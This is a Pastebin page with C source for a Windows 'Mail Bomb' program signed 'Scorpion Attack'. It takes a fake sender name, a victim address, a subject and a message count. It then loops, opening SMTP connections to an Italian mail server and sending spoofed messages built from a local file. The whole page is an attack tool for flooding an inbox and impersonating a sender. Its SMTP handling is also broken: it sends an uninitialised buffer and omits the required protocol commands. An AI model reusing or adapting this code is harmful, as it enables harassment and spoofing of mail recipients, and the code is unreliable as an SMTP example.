Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <winsock.h>
- #include <windows.h>
- typedef char stringa[500];
- SOCKET conn;
- FILE *fmail;
- int lun, err=0;
- int nmi;
- char buf[1500],end[7];
- char input;
- char Mittente[50]="";
- char Destinatario[50]="";
- char Oggetto[50]="";
- SOCKADDR_IN conn_addr;
- WSADATA data;
- WORD versione;
- LPHOSTENT host;
- void RispostaServer();
- void inviomail();
- int main(int argc,char **argv)
- {
- printf("\n @#####################################################@ ");
- printf("\n @####################@ Mail Bomb @####################@ ");
- printf("\n @##############################!By Scorpion Attack!###@ ");
- printf("\n @#####################################################@ \n\n\n");
- printf("\nFake Name/E-mail Mittente: ");
- gets(Mittente);
- printf("\nE-mail Destinatario: ");
- gets(Destinatario);
- printf("\nOggetto: ");
- gets(Oggetto);
- printf("\nNumero messaggi da inviare: ");
- scanf("%i",&nmi);
- printf ("Invio E-mail in corso...\n");
- int c;
- for(c=0;c<=nmi;c++){ // inzio ciclo
- inviomail();
- Sleep(200);
- }// Fine ciclo
- WSACleanup();
- system("cls");
- printf("\n @#####################################################@ ");
- printf("\n @####################@ Mail Bomb @####################@ ");
- printf("\n @##############################!By Scorpion Attack!###@ ");
- printf("\n @#####################################################@ \n\n\n");
- printf("\nE-Mail Bombardata");
- Sleep(2500);
- return 0;
- }
- void inviomail(){
- fmail=fopen("mail.txt","r");
- if (fmail==NULL){
- printf("Errore file \"mail.txt\"");
- }
- versione=MAKEWORD(2,0);
- WSAStartup(versione,&data);
- conn=socket(PF_INET,SOCK_STREAM,0);
- conn_addr.sin_family=PF_INET;
- conn_addr.sin_port=htons(25);
- host=gethostbyname ("mail.tin.it");
- if (host==NULL){
- err=WSAGetLastError();
- printf ("Errore con l'Host\t%d",err);
- }
- conn_addr.sin_addr = *((LPIN_ADDR)*host->h_addr_list);
- lun=sizeof(struct sockaddr);
- err=connect(conn,(struct sockaddr*)&conn_addr,lun);
- if (err!=0){
- err=WSAGetLastError();
- printf("Errore della Socket\t%d",err);
- }
- RispostaServer();
- send(conn, buf, strlen(buf), 0);
- printf(buf);
- RispostaServer();
- sprintf(buf, "From: %s\n",Mittente);
- send(conn, buf, strlen(buf), 0);
- sprintf(buf, "To: %s\n",Destinatario);
- send(conn, buf, strlen(buf), 0);
- sprintf(buf, "Subject: %s\n",Oggetto);
- send(conn, buf, strlen(buf), 0);
- while (feof(fmail)==0){
- fscanf (fmail,"%c",&input);
- send (conn,&input,1,0);
- }
- sprintf(buf, "\n.\n");
- printf(buf);
- send(conn, buf, strlen(buf), 0);
- fclose(fmail);
- sprintf(end,"quit\n");
- send(conn,end,strlen(end),0);
- RispostaServer();
- closesocket(conn);
- }
- void RispostaServer(){
- char mess[1000];
- int n=0;
- n=recv(conn,mess,200,0);
- mess[n]=0;
- printf(mess,"%s");
- }
Advertisement
Add Comment
Please, Sign In to add comment